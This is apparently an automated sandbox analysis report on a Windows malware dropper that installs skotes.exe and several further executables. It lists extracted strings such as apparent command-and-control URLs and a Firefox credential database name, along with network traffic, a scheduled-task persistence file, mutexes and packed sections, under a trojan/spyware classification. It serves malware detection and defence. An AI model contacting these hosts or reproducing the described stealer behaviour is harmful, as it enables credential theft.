Source: 623cea31e9.exe, 00000009.00000002.2692502524.0000000000CE3000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2691007732.0000000000CE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click:443/apiefault-release/key4.dbPK
Source: skotes.exe, 00000006.00000002.2953163550.00000000008AD000.00000004.00000020.00020000.00000000.sdmp, 521206d971.exe, 0000000C.00000000.2575906221.0000000000D02000.00000002.00000001.01000000.0000000B.sdmp, 521206d971.exe, 0000000C.00000002.2659821974.0000000003181000.00000004.00000800.00020000.00000000.sdmp, 521206d971.exe.6.dr	String found in binary or memory: https://sci.libertyreserve.com/
Source: skotes.exe, 00000006.00000002.2953163550.000000000089C000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000007.00000002.2455021819.0000000001272000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe.6.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: 521206d971.exe, 0000000E.00000002.2672691270.0000000005770000.00000004.08000000.00040000.00000000.sdmp, 521206d971.exe, 0000000E.00000002.2669308993.0000000003ECD000.00000004.00000800.00020000.00000000.sdmp, 521206d971.exe, 0000000E.00000002.2669308993.0000000003E01000.00000004.00000800.00020000.00000000.sdmp, 521206d971.exe, 0000000E.00000002.2665450107.0000000002E01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: 521206d971.exe, 0000000E.00000002.2665450107.0000000002E01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: 521206d971.exe, 0000000E.00000002.2672691270.0000000005770000.00000004.08000000.00040000.00000000.sdmp, 521206d971.exe, 0000000E.00000002.2669308993.0000000003ECD000.00000004.00000800.00020000.00000000.sdmp, 521206d971.exe, 0000000E.00000002.2669308993.0000000003E01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: 623cea31e9.exe, 00000009.00000003.2502291102.0000000003425000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2592750356.00000000055E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: 0a60e3a257.exe, 0000000B.00000003.2641216553.00000000056AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 0a60e3a257.exe, 0000000B.00000003.2641216553.00000000056AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: 623cea31e9.exe, 00000009.00000003.2526443923.00000000033D7000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2502291102.0000000003423000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2527456153.00000000033D7000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2502632389.00000000033D7000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2502477428.00000000033D7000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2618473605.00000000055D8000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2592750356.00000000055DF000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2618660731.00000000055D8000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2593006166.00000000055D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 623cea31e9.exe, 00000009.00000003.2502477428.00000000033B2000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2593006166.00000000055B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: 623cea31e9.exe, 00000009.00000003.2526443923.00000000033D7000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2502291102.0000000003423000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2527456153.00000000033D7000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2502632389.00000000033D7000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2502477428.00000000033D7000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2618473605.00000000055D8000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2592750356.00000000055DF000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2618660731.00000000055D8000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2593006166.00000000055D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 623cea31e9.exe, 00000009.00000003.2502477428.00000000033B2000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2593006166.00000000055B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: 0a60e3a257.exe, 0000000B.00000003.2664009371.0000000005582000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000002.2762613779.00000000008C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/
Source: 0a60e3a257.exe, 0000000B.00000003.2671116771.00000000008F1000.00000004.00000020.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2671729932.00000000008F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/$
Source: 0a60e3a257.exe, 0000000B.00000003.2712495493.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2736550051.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2693183826.00000000008F1000.00000004.00000020.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2565659991.0000000000903000.00000004.00000020.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2565554245.00000000008F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/0
Source: 0a60e3a257.exe, 0000000B.00000003.2736550051.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2693183826.00000000008F1000.00000004.00000020.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2664523964.0000000005591000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2664412583.000000000558D000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000002.2763057351.000000000093F000.00000004.00000020.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2565659991.0000000000903000.00000004.00000020.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2664351900.0000000005585000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2565554245.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2664009371.0000000005582000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/api
Source: 0a60e3a257.exe, 0000000B.00000003.2712495493.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2736550051.00000000008F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/api5
Source: 0a60e3a257.exe, 0000000B.00000002.2763057351.000000000093F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/apiF9(1
Source: 0a60e3a257.exe, 0000000B.00000003.2712495493.00000000008F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/apiV
Source: 0a60e3a257.exe, 0000000B.00000003.2565659991.0000000000903000.00000004.00000020.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2565554245.00000000008F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/apio
Source: 0a60e3a257.exe, 0000000B.00000002.2762780202.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2761065101.00000000008F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/t$
Source: 0a60e3a257.exe, 0000000B.00000003.2760509567.000000000094A000.00000004.00000020.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2712495493.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2761333402.0000000000955000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click:443/api
Source: 623cea31e9.exe, 00000009.00000003.2558340506.000000000338B000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2664351900.0000000005585000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2664009371.0000000005582000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: 623cea31e9.exe, 00000009.00000003.2501646598.00000000033C9000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2501746217.00000000033C9000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2501556521.00000000033CB000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2592016814.00000000055CA000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2591834970.00000000055CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 623cea31e9.exe, 00000009.00000003.2558340506.000000000338B000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2664351900.0000000005585000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2664009371.0000000005582000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: 623cea31e9.exe, 00000009.00000003.2501646598.00000000033C9000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2501746217.00000000033C9000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2501556521.00000000033CB000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2592016814.00000000055CA000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2591834970.00000000055CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 0a60e3a257.exe, 0000000B.00000003.2641216553.00000000056AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: 0a60e3a257.exe, 0000000B.00000003.2641216553.00000000056AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: 623cea31e9.exe, 00000009.00000003.2557443713.00000000034A2000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2641216553.00000000056AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 0a60e3a257.exe, 0000000B.00000003.2641216553.00000000056AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 623cea31e9.exe, 00000009.00000003.2557443713.00000000034A2000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2641216553.00000000056AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866

Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.4:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.4:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.4:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.4:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.4:49808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.4:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.4:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.4:49829 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.4:49830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.4:49839 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.4:49840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.4:49847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.4:49855 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.4:49856 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.4:49866 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.4:49876 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.131.68.180:443 -> 192.168.2.4:49931 version: TLS 1.2

System Summary

.NET source code contains very large array initializations

Source: 12.2.521206d971.exe.4185570.2.raw.unpack, Aexb5XGUHWH0ZbfQ2k.cs	Large array initialization: PYRp7SOSm: array initializer size 360688
Source: 12.2.521206d971.exe.41e2590.0.raw.unpack, Aexb5XGUHWH0ZbfQ2k.cs	Large array initialization: PYRp7SOSm: array initializer size 360688

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: 9c795b1b74.exe.6.dr	Static PE information: section name:
Source: 9c795b1b74.exe.6.dr	Static PE information: section name: .idata
Source: 9c795b1b74.exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: a219613819.exe.6.dr	Static PE information: section name:
Source: a219613819.exe.6.dr	Static PE information: section name: .idata
Source: a219613819.exe.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: 0a60e3a257.exe.6.dr	Static PE information: section name:
Source: 0a60e3a257.exe.6.dr	Static PE information: section name: .idata
Source: 0a60e3a257.exe.6.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00ECCB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,

6_2_00ECCB97

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010431A8	0_2_010431A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01047049	0_2_01047049
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01048860	0_2_01048860
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010478BB	0_2_010478BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01004B30	0_2_01004B30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01117B6E	0_2_01117B6E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01042D10	0_2_01042D10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01004DE0	0_2_01004DE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01037F36	0_2_01037F36
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0104779B	0_2_0104779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00EF78BB	1_2_00EF78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00EF8860	1_2_00EF8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00EF7049	1_2_00EF7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00EF31A8	1_2_00EF31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00EB4B30	1_2_00EB4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00EB4DE0	1_2_00EB4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00EF2D10	1_2_00EF2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00EF779B	1_2_00EF779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00EE7F36	1_2_00EE7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00EF78BB	2_2_00EF78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00EF8860	2_2_00EF8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00EF7049	2_2_00EF7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00EF31A8	2_2_00EF31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00EB4B30	2_2_00EB4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00EB4DE0	2_2_00EB4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00EF2D10	2_2_00EF2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00EF779B	2_2_00EF779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00EE7F36	2_2_00EE7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00EBE530	6_2_00EBE530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00ED6192	6_2_00ED6192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00EF8860	6_2_00EF8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00EB4B30	6_2_00EB4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00EB4DE0	6_2_00EB4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00EF2D10	6_2_00EF2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00ED0E13	6_2_00ED0E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00EF7049	6_2_00EF7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00EF31A8	6_2_00EF31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00ED1602	6_2_00ED1602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00EF779B	6_2_00EF779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00EF78BB	6_2_00EF78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00ED3DF1	6_2_00ED3DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00EE7F36	6_2_00EE7F36

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe C6491D7A6D70C7C51BACA7436464667B4894E4989FA7C5E05068DDE4699E1CBF

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 010180C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00EC80C0 appears 393 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00ECDF80 appears 81 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00EE8E10 appears 47 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00ECD942 appears 84 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00ECD663 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00ECD64E appears 79 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00EC7A00 appears 38 times

Source: b4955bcdf6.exe.6.dr	Static PE information: No import functions for PE file found
Source: random[2].exe1.6.dr	Static PE information: No import functions for PE file found

Source: b4955bcdf6.exe.6.dr	Static PE information: Data appended to the last section found
Source: random[2].exe1.6.dr	Static PE information: Data appended to the last section found

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: random[1].exe2.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 521206d971.exe.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9974029291553134
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9974029291553134
Source: random[1].exe.6.dr	Static PE information: Section: obbejfdq ZLIB complexity 0.9943257921160943
Source: 9c795b1b74.exe.6.dr	Static PE information: Section: obbejfdq ZLIB complexity 0.9943257921160943
Source: random[2].exe.6.dr	Static PE information: Section: euhadjik ZLIB complexity 0.9942390467525196
Source: a219613819.exe.6.dr	Static PE information: Section: euhadjik ZLIB complexity 0.9942390467525196
Source: random[2].exe0.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: random[2].exe0.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: 173fa614c9.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: 173fa614c9.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: random[1].exe0.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: random[1].exe0.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: 623cea31e9.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: 623cea31e9.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: random[1].exe1.6.dr	Static PE information: Section: ZLIB complexity 0.9973177975171232
Source: random[1].exe1.6.dr	Static PE information: Section: uzxdwyvi ZLIB complexity 0.9946595600267777
Source: 0a60e3a257.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9973177975171232
Source: 0a60e3a257.exe.6.dr	Static PE information: Section: uzxdwyvi ZLIB complexity 0.9946595600267777

Source: 12.2.521206d971.exe.4185570.2.raw.unpack, Aexb5XGUHWH0ZbfQ2k.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 12.2.521206d971.exe.41e2590.0.raw.unpack, Aexb5XGUHWH0ZbfQ2k.cs	Cryptographic APIs: 'CreateDecryptor'

Source: 12.2.521206d971.exe.5b50000.3.raw.unpack, IHOLEvy0T7QhOrsMmC.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 12.2.521206d971.exe.43b8910.1.raw.unpack, IHOLEvy0T7QhOrsMmC.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 12.2.521206d971.exe.43b8910.1.raw.unpack, p70yJbu5bF4vKhUO1a.cs	Security API names: _0020.SetAccessControl
Source: 12.2.521206d971.exe.43b8910.1.raw.unpack, p70yJbu5bF4vKhUO1a.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 12.2.521206d971.exe.43b8910.1.raw.unpack, p70yJbu5bF4vKhUO1a.cs	Security API names: _0020.AddAccessRule
Source: 12.2.521206d971.exe.5b50000.3.raw.unpack, p70yJbu5bF4vKhUO1a.cs	Security API names: _0020.SetAccessControl
Source: 12.2.521206d971.exe.5b50000.3.raw.unpack, p70yJbu5bF4vKhUO1a.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 12.2.521206d971.exe.5b50000.3.raw.unpack, p70yJbu5bF4vKhUO1a.cs	Security API names: _0020.AddAccessRule

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@25/18@11/7

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Mutant created: \Sessions\1\BaseNamedObjects\80065eb12166c1a5
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6780:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Mutant created: \Sessions\1\BaseNamedObjects\My_mutex
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2208:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

